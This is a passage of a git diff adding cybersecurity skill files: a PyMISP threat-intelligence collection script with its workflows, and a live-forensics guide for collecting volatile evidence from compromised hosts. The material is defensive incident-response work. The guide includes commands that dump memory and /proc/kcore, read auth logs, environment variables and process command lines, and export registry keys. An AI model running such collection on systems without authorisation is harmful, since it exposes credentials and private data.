**TLP:CLEAR** (formerly TLP:WHITE): Unlimited disclosure +- **TLP:GREEN**: Limited disclosure within community +- **TLP:AMBER**: Limited disclosure within organization +- **TLP:AMBER+STRICT**: Restricted to organization only +- **TLP:RED**: Restricted to specific recipients only + +## Permissible Actions Protocol (PAP) +- **PAP:RED**: Only passive actions (no external lookups) +- **PAP:AMBER**: Active actions allowed but not against infrastructure +- **PAP:GREEN**: Active actions allowed +- **PAP:CLEAR**: Unlimited use + +## References +- [MISP Standard Format RFC](https://www.misp-standard.org/) +- [STIX 2.1 Specification](https://docs.oasis-open.org/cti/stix/v2.1/stix-v2.1.html) +- [TAXII 2.1 Specification](https://docs.oasis-open.org/cti/taxii/v2.1/taxii-v2.1.html) +- [MITRE ATT&CK](https://attack.mitre.org/) +- [TLP Standard](https://www.first.org/tlp/) diff --git a/skills/collecting-threat-intelligence-with-misp/references/workflows.md b/skills/collecting-threat-intelligence-with-misp/references/workflows.md new file mode 100644 index 00000000..9ecebd3f --- /dev/null +++ b/skills/collecting-threat-intelligence-with-misp/references/workflows.md @@ -0,0 +1,92 @@ +# MISP Threat Intelligence Collection Workflows + +## Workflow 1: Automated Feed Collection Pipeline + +``` +[Community Feeds] --> [MISP Feed Manager] --> [Event Creation] --> [Correlation Engine] + | | | | + v v v v +- CIRCL OSINT - Schedule fetch - Auto-tag with - Deduplicate +- Botvrij.eu - Parse formats TLP/PAP - Cross-reference +- abuse.ch - Validate IOCs - Set distribution - Cluster similar +- PhishTank - Filter warninglists - Publish/unpublish events +``` + +### Steps: +1. **Feed Registration**: Add feeds via UI or PyMISP API with source_format, URL, and headers +2. **Scheduled Fetch**: Configure cron job or MISP scheduler to pull feeds at intervals +3. **Parsing and Validation**: MISP parses feed content, validates IOC formats, checks against warninglists +4. **Event Generation**: Each feed pull creates or updates events with parsed attributes +5. **Correlation**: MISP correlates new attributes against existing data, identifying overlaps +6. **Distribution**: Events are distributed based on TLP and sharing group configurations + +## Workflow 2: Manual Intelligence Collection + +``` +[Analyst Report] --> [Manual Event Creation] --> [Attribute Addition] --> [Enrichment] + | + v + [Galaxy Tagging] + | + v + [Publication] +``` + +### Steps: +1. **Event Creation**: Create event with descriptive info, date, distribution, TLP tag +2. **IOC Entry**: Add attributes (IP, domain, hash, URL) with correct category and type +3. **Object Construction**: Group related attributes into MISP objects (file, domain-ip, email) +4. **Galaxy Linking**: Link event to MITRE ATT&CK techniques, threat actor clusters, malware families +5. **Enrichment**: Use MISP modules (VirusTotal, Shodan, CIRCL PassiveDNS) to enrich attributes +6. **Review and Publish**: Analyst reviews, sets to_ids flags, publishes for community sharing + +## Workflow 3: TAXII Feed Integration + +``` +[TAXII Server] --> [TAXII Client] --> [STIX Parser] --> [MISP Import] --> [Correlation] +``` + +### Steps: +1. **Discovery**: Query TAXII server discovery endpoint for available API roots +2. **Collection Enumeration**: List available collections and their metadata +3. **Object Retrieval**: Fetch STIX 2.1 objects from collections with pagination +4. **STIX-to-MISP Mapping**: Map STIX Indicator, Malware, Threat Actor to MISP event/attributes +5. **Import**: Create MISP events from STIX bundles +6. **Correlation**: Run correlation against existing MISP data + +## Workflow 4: Instance Synchronization + +``` +[MISP Instance A] <--sync--> [MISP Instance B] <--sync--> [MISP Instance C] + | | | + v v v + [Org A Events] [Shared Events] [Org C Events] +``` + +### Steps: +1. **Server Registration**: Register remote MISP instance with URL, API key, organization +2. **Sync Configuration**: Set sync direction (push/pull), filter rules, preview mode +3. **Pull Sync**: Pull events from remote instance matching filter criteria +4. **Push Sync**: Push local events to remote instance based on distribution level +5. **Conflict Resolution**: Handle attribute conflicts with priority rules +6. **Audit Logging**: Log all sync activities for compliance and troubleshooting + +## Workflow 5: IOC Export for Defensive Tools + +``` +[MISP Events] --> [Export Module] --> [Format Conversion] --> [Defensive Tool] + | + +--------+--------+ + | | | + v v v + [Suricata] [Bro/Zeek] [SIEM] + Rules Intel CSV/JSON +``` + +### Steps: +1. **Filter Selection**: Select events by tag, date range, threat level, to_ids flag +2. **Format Selection**: Choose output format (Suricata, Snort, Bro/Zeek, CSV, STIX, OpenIOC) +3. **Rule Generation**: Generate IDS/IPS rules from network IOCs +4. **SIEM Export**: Export to CSV/JSON for SIEM ingestion (Splunk, Elastic, QRadar) +5. **Automation**: Set up ZMQ/Kafka publishing for real-time IOC distribution +6. **Feedback Loop**: Track hit counts on exported IOCs, feed back to MISP for scoring diff --git a/skills/collecting-threat-intelligence-with-misp/scripts/process.py b/skills/collecting-threat-intelligence-with-misp/scripts/process.py new file mode 100644 index 00000000..22de6366 --- /dev/null +++ b/skills/collecting-threat-intelligence-with-misp/scripts/process.py @@ -0,0 +1,346 @@ +#!/usr/bin/env python3 +""" +MISP Threat Intelligence Collection Script + +Automates IOC collection from MISP instance including: +- Feed management and scheduled fetching +- Event search and attribute extraction +- IOC export in multiple formats (STIX, CSV, Suricata) +- Warninglist filtering to reduce false positives +- Correlation summary generation + +Requirements: + pip install pymisp requests stix2 + +Usage: + python process.py --url https://misp.local --key YOUR_API_KEY --action collect + python process.py --url https://misp.local --key YOUR_API_KEY --action export --format stix2 + python process.py --url https://misp.local --key YOUR_API_KEY --action feeds --enable-defaults +""" + +import argparse +import json +import csv +import sys +import os +from datetime import datetime, timedelta +from typing import Optional + +try: + from pymisp import PyMISP, MISPEvent, MISPAttribute +except ImportError: + print("ERROR: pymisp not installed. Run: pip install pymisp") + sys.exit(1) + + +class MISPCollector: + """Automated threat intelligence collector for MISP.""" + + def __init__(self, url: str, api_key: str, ssl_verify: bool = True): + self.misp = PyMISP(url, api_key, ssl=ssl_verify) + self.url = url + self.stats = { + "events_processed": 0, + "attributes_collected": 0, + "iocs_exported": 0, + "feeds_enabled": 0, + "warninglist_filtered": 0, + } + + def enable_default_feeds(self) -> dict: + """Enable and fetch default MISP community feeds.""" + default_feeds = [ + "CIRCL OSINT Feed", + "Botvrij.eu", + "abuse.ch URLhaus", + "The Botnet Channel", + "Phishtank online valid phishing", + ] + + feeds = self.misp.feeds() + enabled = [] + + for feed in feeds: + feed_name = feed.get("Feed", {}).get("name", "") + feed_id = feed.get("Feed", {}).get("id") + + if any(default in feed_name for default in default_feeds): + try: + self.misp.enable_feed(feed_id) + self.misp.fetch_feed(feed_id) + enabled.append(feed_name) + self.stats["feeds_enabled"] += 1 + print(f"[+] Enabled feed: {feed_name}") + except Exception as e: + print(f"[-] Failed to enable {feed_name}: {e}") + + return {"enabled_feeds": enabled, "count": len(enabled)} + + def add_custom_feed(self, name: str, url: str, provider: str, + source_format: str = "csv") -> dict: + """Add a custom threat intelligence feed.""" + feed_config = { + "name": name, + "provider": provider, + "url": url, + "source_format": source_format, + "input_source": "network", + "publish": False, + "enabled": True, + "distribution": 0, + "default": False, + "lookup_visible": True, + } + + result = self.misp.add_feed(feed_config) + print(f"[+] Added custom feed: {name} from {provider}") + return result + + def collect_recent_iocs(self, days: int = 7, + ioc_types: Optional[list] = None) -> list: + """Collect IOCs from recent events.""" + if ioc_types is None: + ioc_types = [ + "ip-dst", "ip-src", "domain", "hostname", + "url", "md5", "sha1", "sha256", "email-src", + ] + + date_from = (datetime.now() - timedelta(days=days)).strftime("%Y-%m-%d") + all_iocs = [] + + for ioc_type in ioc_types: + try: + results = self.misp.search( + controller="attributes", + type_attribute=ioc_type, + date_from=date_from, + to_ids=True, + pythonify=True, + ) + + for attr in results: + ioc_entry = { + "type": attr.type, + "value": attr.value, + "category": attr.category, + "event_id": attr.event_id, + "timestamp": str(attr.timestamp), + "to_ids": attr.to_ids, + "comment": attr.comment or "", + } + all_iocs.append(ioc_entry) + self.stats["attributes_collected"] += 1 + + print(f"[+] Collected {len(results)} {ioc_type} IOCs") + + except Exception as e: + print(f"[-] Error collecting {ioc_type}: {e}") + + return all_iocs + + def collect_events_by_tag(self, tags: list, limit: int = 100) -> list: + """Collect events matching specific tags.""" + events = self.misp.search( + controller="events", + tags=tags, + limit=limit, + pythonify=True, + ) + + collected = [] + for event in events: + event_data = { + "id": event.id, + "info": event.info, + "date": str(event.date), + "threat_level": event.threat_level_id, + "analysis": event.analysis, + "attribute_count": len(event.attributes), + "tags": [tag.name for tag in event.tags] if event.tags else [], + "attributes": [], + } + + for attr in event.attributes: + event_data["attributes"].append({ + "type": attr.type, + "value": attr.value, + "category": attr.category, + "to_ids": attr.to_ids, + }) + + collected.append(event_data) + self.stats["events_processed"] += 1 + + print(f"[+] Collected {len(collected)} events with tags: {tags}") + return collected + + def filter_warninglists(self, iocs: list) -> list: + """Filter IOCs against MISP warninglists to remove known-good indicators.""" + filtered = [] + + for ioc in iocs: + result = self.misp.values_in_warninglist([ioc["value"]]) + + if not result or not result.get(ioc["value"]): + filtered.append(ioc) + else: + self.stats["warninglist_filtered"] += 1 + print(f"[!] Filtered (warninglist): {ioc['value']}") + + print(f"[+] Filtered {self.stats['warninglist_filtered']} IOCs via warninglists") + return filtered + + def export_stix2(self, event_ids: Optional[list] = None, + tags: Optional[list] = None) -> dict: + """Export events as STIX 2.1 bundles.""" + search_params = { + "controller": "events", + "return_format": "stix2", + } + + if event_ids: + search_params["eventid"] = event_ids + if tags: + search_params["tags"] = tags + + stix_bundle = self.misp.search(**search_params) + self.stats["iocs_exported"] += len( + stix_bundle.get("objects", []) if isinstance(stix_bundle, dict) else [] + ) + + print(f"[+] Exported STIX 2.1 bundle") + return stix_bundle + + def export_csv(self, iocs: list, output_path: str) -> str: + """Export IOCs to CSV file.""" + if not iocs: + print("[-] No IOCs to export") + return "" + + fieldnames = ["type", "value", "category", "event_id", "timestamp", + "to_ids", "comment"] + + with open(output_path, "w", newline="", encoding="utf-8") as f: + writer = csv.DictWriter(f, fieldnames=fieldnames) + writer.writeheader() + for ioc in iocs: + writer.writerow({k: ioc.get(k, "") for k in fieldnames}) + + self.stats["iocs_exported"] = len(iocs) + print(f"[+] Exported {len(iocs)} IOCs to {output_path}") + return output_path + + def export_suricata(self, days: int = 7) -> str: + """Export network IOCs as Suricata rules.""" + rules = self.misp.search( + controller="attributes", + return_format="suricata", + to_ids=True, + type_attribute=["ip-dst", "ip-src", "domain", "url"], + date_from=(datetime.now() - timedelta(days=days)).strftime("%Y-%m-%d"), + ) + + print(f"[+] Generated Suricata rules") + return rules + + def get_correlation_summary(self, event_id: int) -> dict: + """Get correlation summary for a specific event.""" + event = self.misp.get_event(event_id, pythonify=True) + correlations = {} + + for attr in event.attributes: + if hasattr(attr, "RelatedAttribute") and attr.RelatedAttribute: + correlations[attr.value] = { + "type": attr.type, + "related_events": [ + rel["Event"]["id"] for rel in attr.RelatedAttribute + ], + } + + return { + "event_id": event_id, + "event_info": event.info, + "total_attributes": len(event.attributes), + "correlated_attributes": len(correlations), + "correlations": correlations, + } + + def print_stats(self): + """Print collection statistics.""" + print("\n=== MISP Collection Statistics ===") + for key, value in self.stats.items(): + print(f" {key.replace('_', ' ').title()}: {value}") + print("=================================\n") + + +def main(): + parser = argparse.ArgumentParser( + description="MISP Threat Intelligence Collection Tool" + ) + parser.add_argument("--url", required=True, help="MISP instance URL") + parser.add_argument("--key", required=True, help="MISP API key") + parser.add_argument("--no-ssl", action="store_true", help="Disable SSL verification") + parser.add_argument( + "--action", + choices=["collect", "export", "feeds", "correlate"], + required=True, + help="Action to perform", + ) + parser.add_argument("--days", type=int, default=7, help="Lookback period in days") + parser.add_argument( + "--format", + choices=["csv", "stix2", "suricata"], + default="csv", + help="Export format", + ) + parser.add_argument("--output", default="misp_iocs_export.csv", help="Output file path") + parser.add_argument("--tags", nargs="+", help="Filter by tags") + parser.add_argument( + "--enable-defaults", + action="store_true", + help="Enable default community feeds", + ) + parser.add_argument("--event-id", type=int, help="Event ID for correlation") + + args = parser.parse_args() + + collector = MISPCollector(args.url, args.key, ssl_verify=not args.no_ssl) + + if args.action == "feeds": + if args.enable_defaults: + result = collector.enable_default_feeds() + print(json.dumps(result, indent=2)) + + elif args.action == "collect": + iocs = collector.collect_recent_iocs(days=args.days) + if args.tags: + events = collector.collect_events_by_tag(args.tags) + print(json.dumps(events[:5], indent=2, default=str)) + filtered = collector.filter_warninglists(iocs) + collector.export_csv(filtered, args.output) + + elif args.action == "export": + if args.format == "stix2": + bundle = collector.export_stix2(tags=args.tags) + with open(args.output.replace(".csv", ".json"), "w") as f: + json.dump(bundle, f, indent=2, default=str) + elif args.format == "suricata": + rules = collector.export_suricata(days=args.days) + with open(args.output.replace(".csv", ".rules"), "w") as f: + f.write(str(rules)) + else: + iocs = collector.collect_recent_iocs(days=args.days) + collector.export_csv(iocs, args.output) + + elif args.action == "correlate": + if args.event_id: + summary = collector.get_correlation_summary(args.event_id) + print(json.dumps(summary, indent=2, default=str)) + else: + print("[-] --event-id required for correlation action") + + collector.print_stats() + + +if __name__ == "__main__": + main() diff --git a/skills/collecting-volatile-evidence-from-compromised-host/SKILL.md b/skills/collecting-volatile-evidence-from-compromised-host/SKILL.md new file mode 100644 index 00000000..7d345cbe --- /dev/null +++ b/skills/collecting-volatile-evidence-from-compromised-host/SKILL.md @@ -0,0 +1,234 @@ +--- +name: collecting-volatile-evidence-from-compromised-host +description: Collect volatile forensic evidence from a compromised system following order of volatility, preserving memory, network connections, processes, and system state before they are lost. +domain: cybersecurity +subdomain: incident-response +tags: [incident-response, dfir, forensics, volatile-evidence, memory-forensics, chain-of-custody] +version: "1.0" +author: mahipal +license: MIT +--- + +# Collecting Volatile Evidence from Compromised Hosts + +## When to Use +- Security incident confirmed and compromised host identified +- Before system isolation, shutdown, or remediation begins +- Memory-resident malware suspected (fileless attacks) +- Need to capture network connections, running processes, and system state +- Legal proceedings may require forensic evidence preservation +- Incident requires root cause analysis with volatile data + +## Prerequisites +- Forensic collection toolkit on USB or network share (trusted tools) +- WinPmem/LiME for memory acquisition +- Write-blocker or forensic workstation for disk imaging +- Chain of custody documentation forms +- Secure evidence storage with integrity verification +- Authorization to collect evidence (legal/HR approval for insider cases) + +## Workflow + +### Step 1: Prepare Collection Environment +```bash +# Mount forensic USB toolkit (do NOT install tools on compromised system) +# Verify toolkit integrity +sha256sum /mnt/forensic_usb/tools/* > /tmp/toolkit_hashes.txt +diff /mnt/forensic_usb/tools/known_good_hashes.txt /tmp/toolkit_hashes.txt + +# Create evidence output directory with timestamps +EVIDENCE_DIR="/mnt/evidence/$(hostname)_$(date +%Y%m%d_%H%M%S)" +mkdir -p "$EVIDENCE_DIR" +echo "Collection started: $(date -u)" > "$EVIDENCE_DIR/collection_log.txt" +echo "Collector: $(whoami)" >> "$EVIDENCE_DIR/collection_log.txt" +echo "System: $(hostname)" >> "$EVIDENCE_DIR/collection_log.txt" +``` + +### Step 2: Capture System Memory (Highest Volatility) +```bash +# Windows - WinPmem memory acquisition +winpmem_mini_x64.exe "$EVIDENCE_DIR\memdump_$(hostname).raw" + +# Linux - LiME kernel module for memory acquisition +insmod /mnt/forensic_usb/lime.ko "path=$EVIDENCE_DIR/memdump_$(hostname).lime format=lime" + +# Linux - Alternative using /proc/kcore +dd if=/proc/kcore of="$EVIDENCE_DIR/kcore_dump.raw" bs=1M + +# macOS - osxpmem +osxpmem -o "$EVIDENCE_DIR/memdump_$(hostname).aff4" + +# Hash the memory dump immediately +sha256sum "$EVIDENCE_DIR/memdump_"* > "$EVIDENCE_DIR/memory_hash.sha256" +``` + +### Step 3: Capture Network State +```bash +# Active network connections +# Windows +netstat -anob > "$EVIDENCE_DIR/netstat_connections.txt" 2>&1 +Get-NetTCPConnection | Export-Csv "$EVIDENCE_DIR/tcp_connections.csv" -NoTypeInformation +Get-NetUDPEndpoint | Export-Csv "$EVIDENCE_DIR/udp_endpoints.csv" -NoTypeInformation + +# Linux +ss -tulnp > "$EVIDENCE_DIR/socket_stats.txt" +netstat -anp > "$EVIDENCE_DIR/netstat_all.txt" 2>/dev/null +cat /proc/net/tcp > "$EVIDENCE_DIR/proc_net_tcp.txt" +cat /proc/net/udp > "$EVIDENCE_DIR/proc_net_udp.txt" + +# ARP cache +arp -a > "$EVIDENCE_DIR/arp_cache.txt" + +# Routing table +route print > "$EVIDENCE_DIR/routing_table.txt" # Windows +ip route show > "$EVIDENCE_DIR/routing_table.txt" # Linux + +# DNS cache +ipconfig /displaydns > "$EVIDENCE_DIR/dns_cache.txt" # Windows +# Linux: varies by resolver, check systemd-resolve or nscd +systemd-resolve --statistics > "$EVIDENCE_DIR/dns_stats.txt" 2>/dev/null + +# Active firewall rules +netsh advfirewall show allprofiles > "$EVIDENCE_DIR/firewall_rules.txt" # Windows +iptables -L -n -v > "$EVIDENCE_DIR/iptables_rules.txt" # Linux +``` + +### Step 4: Capture Running Processes +```bash +# Windows - Detailed process list +tasklist /V /FO CSV > "$EVIDENCE_DIR/process_list_verbose.csv" +wmic process list full > "$EVIDENCE_DIR/wmic_process_full.txt" +Get-Process | Select-Object Id,ProcessName,Path,StartTime,CPU,WorkingSet | + Export-Csv "$EVIDENCE_DIR/ps_processes.csv" -NoTypeInformation + +# Windows - Process with command line and parent +wmic process get ProcessId,Name,CommandLine,ParentProcessId,ExecutablePath /FORMAT:CSV > \ + "$EVIDENCE_DIR/process_commandlines.csv" + +# Linux - Full process tree +ps auxwwf > "$EVIDENCE_DIR/process_tree.txt" +ps -eo pid,ppid,user,args --forest > "$EVIDENCE_DIR/process_forest.txt" +cat /proc/*/cmdline 2>/dev/null | tr '\0' ' ' > "$EVIDENCE_DIR/proc_cmdline_all.txt" + +# Process modules/DLLs loaded +# Windows +listdlls.exe -accepteula > "$EVIDENCE_DIR/loaded_dlls.txt" +# Linux +for pid in $(ls /proc/ | grep -E '^[0-9]+$'); do + echo "=== PID $pid ===" >> "$EVIDENCE_DIR/proc_maps.txt" + cat "/proc/$pid/maps" 2>/dev/null >> "$EVIDENCE_DIR/proc_maps.txt" +done + +# Open file handles +handle.exe -accepteula > "$EVIDENCE_DIR/open_handles.txt" # Windows (Sysinternals) +lsof > "$EVIDENCE_DIR/open_files.txt" # Linux +``` + +### Step 5: Capture Logged-in Users and Sessions +```bash +# Windows +query user > "$EVIDENCE_DIR/logged_in_users.txt" +query session > "$EVIDENCE_DIR/active_sessions.txt" +net session > "$EVIDENCE_DIR/net_sessions.txt" 2>&1 +net use > "$EVIDENCE_DIR/mapped_drives.txt" 2>&1 + +# Linux +who > "$EVIDENCE_DIR/who_output.txt" +w > "$EVIDENCE_DIR/w_output.txt" +last -50 > "$EVIDENCE_DIR/last_logins.txt" +lastlog > "$EVIDENCE_DIR/lastlog.txt" +cat /var/log/auth.log | tail -200 > "$EVIDENCE_DIR/recent_auth.txt" 2>/dev/null +``` + +### Step 6: Capture System Configuration State +```bash +# System time (critical for timeline) +date -u > "$EVIDENCE_DIR/system_time_utc.txt" +w32tm /query /status > "$EVIDENCE_DIR/ntp_status.txt" # Windows +ntpq -p > "$EVIDENCE_DIR/ntp_status.txt" # Linux + +# Environment variables +set > "$EVIDENCE_DIR/environment_vars.txt" # Windows +env > "$EVIDENCE_DIR/environment_vars.txt" # Linux + +# Scheduled tasks / Cron jobs +schtasks /query /fo CSV /v > "$EVIDENCE_DIR/scheduled_tasks.csv" # Windows +crontab -l > "$EVIDENCE_DIR/crontab_current.txt" 2>/dev/null # Linux +ls -la /etc/cron.* > "$EVIDENCE_DIR/cron_dirs.txt" 2>/dev/null + +# Services +sc queryex type=service state=all > "$EVIDENCE_DIR/services_all.txt" # Windows +systemctl list-units --type=service --all > "$EVIDENCE_DIR/systemd_services.txt" # Linux + +# Windows Registry - key autostart locations +reg export "HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Run" "$EVIDENCE_DIR/reg_run_hklm.reg" /y +reg export "HKCU\SOFTWARE\Microsoft\Windows\CurrentVersion\Run" "$EVIDENCE_DIR/reg_run_hkcu.reg" /y +reg export "HKLM\SYSTEM\CurrentControlSet\Services" "$EVIDENCE_DIR/reg_services.reg" /y +``` + +### Step 7: Hash All Evidence and Document Chain of Custody +```bash +# Generate SHA256 hashes for all collected evidence +cd "$EVIDENCE_DIR" +sha256sum * > evidence_manifest.sha256 + +# Create chain of custody record +cat > "$EVIDENCE_DIR/chain_of_custody.txt" << EOF +CHAIN OF CUSTODY RECORD +======================== +Case ID: IR-YYYY-NNN +Collection Date: $(date -u) +Collected By: $(whoami) +System: $(hostname) +System IP: $(hostname -I 2>/dev/null || ipconfig | grep IPv4) +Collection Method: Live forensic collection via trusted USB toolkit + +Evidence Items: +$(ls -la "$EVIDENCE_DIR/" | grep -v chain_of_custody) + +SHA256 Manifest: evidence_manifest.sha256 +Transfer: [TO BE COMPLETED] +Storage Location: [TO BE COMPLETED] +EOF +``` + +## Key Concepts + +| Concept | Description | +|---------|-------------| +| Order of Volatility | RFC 3227 - Collect most volatile data first: registers > cache > memory > disk | +| Live Forensics | Collecting evidence from a running system before shutdown | +| Chain of Custody | Documentation tracking evidence handling from collection to court | +| Forensic Soundness | Ensuring evidence collection doesn't alter the original evidence | +| Trusted Tools | Using verified tools from external media, not from the compromised system | +| Evidence Integrity | SHA256 hashing of all evidence immediately after collection | +| Locard's Exchange Principle | Every contact leaves a trace - minimize investigator artifacts | + +## Tools & Systems + +| Tool | Purpose | +|------|---------| +| WinPmem | Windows memory acquisition | +| LiME (Linux Memory Extractor) | Linux kernel memory acquisition | +| Sysinternals Suite | Process, handle, and DLL analysis (Windows) | +| Velociraptor | Remote forensic collection at scale | +| KAPE (Kroll Artifact Parser) | Automated artifact collection on Windows | +| CyLR | Cross-platform live response collection | +| GRR Rapid Response | Remote live forensics framework | + +## Common Scenarios + +1. **Fileless Malware Attack**: PowerShell-based attack with no files on disk. Memory dump is critical evidence containing the malicious scripts. +2. **Active C2 Session**: Attacker has live connection. Network connections and process data reveal C2 infrastructure. +3. **Insider Data Theft**: Employee copying files. Process list, mapped drives, and network connections show exfiltration activity. +4. **Compromised Web Server**: Web shell detected. Memory may contain additional backdoors not yet written to disk. +5. **Lateral Movement in Progress**: Attacker moving between systems. Authentication tokens and network sessions in memory reveal scope. + +## Output Format +- Memory dump file (.raw or .lime format) with SHA256 hash +- Network state captures (connections, ARP, DNS, routes) +- Process listings with command lines and parent processes +- User session and authentication data +- System configuration snapshots +- Evidence manifest with SHA256 checksums +- Chain of custody documentation diff --git a/skills/collecting-volatile-evidence-from-compromised-host/assets/template.md b/skills/collecting-volatile-evidence-from-compromised-host/assets/template.md new file mode 100644 index 00000000..2c3f7955 --- /dev/null +++ b/skills/collecting-volatile-evidence-from-compromised-host/assets/template.md @@ -0,0 +1,68 @@ +# Volatile Evidence Collection Report + +## Case Information +| Field | Value | +|-------|-------| +| Case ID | | +| System Hostname | | +| System IP Address | | +| System OS | | +| Collection Date/Time (UTC) | | +| Collector Name | | +| Authorization | [IR Plan / Legal Hold / HR Approval] | + +## Collection Summary +| Evidence Category | Items Collected | Status | +|------------------|----------------|--------| +| Memory Dump | | Collected/Failed/Skipped | +| Network Connections | | Collected/Failed/Skipped | +| ARP Cache | | Collected/Failed/Skipped | +| DNS Cache | | Collected/Failed/Skipped | +| Routing Table | | Collected/Failed/Skipped | +| Running Processes | | Collected/Failed/Skipped | +| Open File Handles | | Collected/Failed/Skipped | +| Logged-in Users | | Collected/Failed/Skipped | +| System Configuration | | Collected/Failed/Skipped | +| Services | | Collected/Failed/Skipped | +| Scheduled Tasks | | Collected/Failed/Skipped | +| Registry/Config | | Collected/Failed/Skipped | + +## Evidence Manifest +| Filename | SHA256 Hash | Size | Category | +|----------|------------|------|----------| +| | | | | + +## Chain of Custody +| Date/Time (UTC) | Action | Person | Notes | +|-----------------|--------|--------|-------| +| | Evidence collected from live system | | | +| | Evidence transferred to forensic storage | | | +| | Evidence hash verified | | | +| | Evidence accessed for analysis | | | + +## System Time Verification +| Field | Value | +|-------|-------| +| System Clock (UTC) | | +| Reference Time (UTC) | | +| Time Offset | | +| NTP Synchronized | Yes/No | +| NTP Server | | + +## Notable Findings During Collection +[Any suspicious processes, connections, or artifacts noted during collection] + +## Collection Tool Information +| Tool | Version | Source | SHA256 Hash | +|------|---------|--------|-------------| +| | | | | + +## Collector Certification +I certify that the evidence described above was collected using forensically sound methods, from external trusted tools, and that all evidence was hashed immediately upon collection. + +| Field | Value | +|-------|-------| +| Collector Name | | +| Collector Title | | +| Date | | +| Signature | | diff --git a/skills/collecting-volatile-evidence-from-compromised-host/references/standards.md b/skills/collecting-volatile-evidence-from-compromised-host/references/standards.md new file mode 100644 index 00000000..78c6225e --- /dev/null +++ b/skills/collecting-volatile-evidence-from-compromised-host/references/standards.md @@ -0,0 +1,62 @@ +# Standards and Framework References - Volatile Evidence Collection + +## RFC 3227 - Guidelines for Evidence Collection and Archiving +- Defines the order of volatility for digital evidence: + 1. Registers, cache + 2. Routing table, ARP cache, process table, kernel statistics, memory + 3. Temporary file systems + 4. Disk + 5. Remote logging and monitoring data + 6. Physical configuration, network topology + 7. Archival media +- Key principles: minimize data alteration, document actions, use trusted tools +- Reference: https://www.rfc-editor.org/rfc/rfc3227 + +## NIST SP 800-86 - Guide to Integrating Forensic Techniques +- Section 4: Using Data from Data Sources + - 4.2: Data Files - Volatile and non-volatile OS data + - 4.3: Operating System Data - Memory, processes, network connections +- Forensic process: Collection, Examination, Analysis, Reporting +- Emphasis on preserving data integrity through proper acquisition +- Reference: https://csrc.nist.gov/pubs/sp/800/86/final + +## NIST SP 800-61 Rev. 3 - Evidence Handling +- **Respond (RS)** function alignment: + - RS.AN-03: Analysis to establish incident scope +- Evidence must be collected in a forensically sound manner +- Document all collection activities and maintain chain of custody + +## SANS DFIR - Live Evidence Collection Best Practices +- Collect evidence from most volatile to least volatile +- Use external trusted tools (not tools from compromised system) +- Hash all evidence immediately after collection +- Document system time offset from UTC +- Minimize footprint on compromised system +- Reference: https://www.sans.org/white-papers/ + +## MITRE ATT&CK - Evidence Sources for Detection +| Data Source | ATT&CK Reference | Evidence Type | +|------------|-------------------|---------------| +| Process (DS0009) | Process creation, command line | Running processes | +| Network Traffic (DS0029) | Connection creation, flow | Network connections | +| File (DS0022) | File creation, modification | Open handles, temp files | +| Windows Registry (DS0024) | Registry key modification | Autostart entries | +| Logon Session (DS0028) | Logon creation | Active user sessions | +| Module (DS0011) | Module load | Loaded DLLs/shared objects | + +## ACPO Good Practice Guide for Digital Evidence +- Principle 1: No action should change data on digital devices +- Principle 2: Competent person must access original data when necessary +- Principle 3: Audit trail of all processes applied to evidence +- Principle 4: Person in charge ensures law and principles are adhered to + +## ISO/IEC 27037 - Guidelines for Identification, Collection, Acquisition, and Preservation +- Defines procedures for handling digital evidence +- Specifies requirements for first responders and forensic specialists +- Covers volatile and non-volatile evidence acquisition +- Emphasizes competency of evidence handlers + +## SWGDE Best Practices for Computer Forensics +- Scientific Working Group on Digital Evidence +- Standards for evidence acquisition, examination, and reporting +- Quality assurance requirements for forensic processes diff --git a/skills/collecting-volatile-evidence-from-compromised-host/references/workflows.md b/skills/collecting-volatile-evidence-from-compromised-host/references/workflows.md new file mode 100644 index 00000000..f6452a17 --- /dev/null +++ b/skills/collecting-volatile-evidence-from-compromised-host/references/workflows.md @@ -0,0 +1,114 @@ +# Volatile Evidence Collection - Detailed Workflow + +## Order of Volatility Collection Sequence + +### Priority 1: Memory (Most Volatile) - Collect First +1. Connect forensic USB with memory acquisition tool +2. Run memory dump tool from USB (NOT from compromised disk) +3. Save memory image to external storage +4. Record start time, end time, and memory size +5. Generate SHA256 hash of memory image immediately +6. Document any errors during acquisition + +### Priority 2: Network State +1. Capture all active TCP/UDP connections with process IDs +2. Capture ARP cache (maps IP to MAC addresses) +3. Capture DNS resolver cache +4. Capture routing table +5. Capture active firewall rules +6. Capture listening ports and associated processes +7. Hash all network evidence files + +### Priority 3: Running Processes +1. List all processes with full command lines +2. List parent-child process relationships (process tree) +3. List all loaded modules/DLLs per process +4. List all open file handles per process +5. List process network connections per PID +6. Capture process creation timestamps +7. Hash all process evidence files + +### Priority 4: User Sessions +1. List all currently logged-in users +2. List active remote sessions (RDP, SSH, SMB) +3. List mapped network drives +4. Capture recent authentication events +5. List active tokens and session keys (if accessible) + +### Priority 5: System Configuration +1. Capture system time and UTC offset +2. Export autostart/persistence locations (Registry Run keys, crontab) +3. List all services and their states +4. Capture environment variables +5. List installed software +6. Export relevant event log entries + +### Priority 6: Temporary/Cache Data +1. Capture browser history and cache (if relevant) +2. Capture clipboard contents (if accessible) +3. Capture temp directory contents +4. Capture recent file lists +5. Capture prefetch files (Windows) + +## Platform-Specific Collection Procedures + +### Windows Collection Checklist +``` +[ ] Memory: WinPmem/Magnet RAM Capture +[ ] Processes: tasklist /V, wmic process, Get-Process +[ ] Network: netstat -anob, Get-NetTCPConnection +[ ] Users: query user, net session +[ ] Registry: Run keys, Services, Startup +[ ] Services: sc queryex, Get-Service +[ ] Scheduled Tasks: schtasks /query +[ ] DNS Cache: ipconfig /displaydns +[ ] ARP: arp -a +[ ] Firewall: netsh advfirewall +[ ] Event Logs: wevtutil (Security, System, Application) +[ ] Prefetch: %SystemRoot%\Prefetch\* +[ ] Time: w32tm /query /status +``` + +### Linux Collection Checklist +``` +[ ] Memory: LiME kernel module or /proc/kcore +[ ] Processes: ps auxwwf, /proc/*/cmdline, /proc/*/maps +[ ] Network: ss -tulnp, /proc/net/tcp, /proc/net/udp +[ ] Users: who, w, last +[ ] Cron: crontab -l, /etc/cron.* +[ ] Services: systemctl list-units +[ ] DNS: systemd-resolve, /etc/resolv.conf +[ ] ARP: ip neigh +[ ] Firewall: iptables -L -n -v, nftables +[ ] Logs: /var/log/auth.log, /var/log/syslog +[ ] Open Files: lsof +[ ] Time: timedatectl +[ ] Loaded Modules: lsmod +``` + +## Evidence Integrity Procedures + +### Hashing Protocol +1. Hash EVERY collected file immediately after creation +2. Use SHA256 (minimum) - SHA512 preferred for legal cases +3. 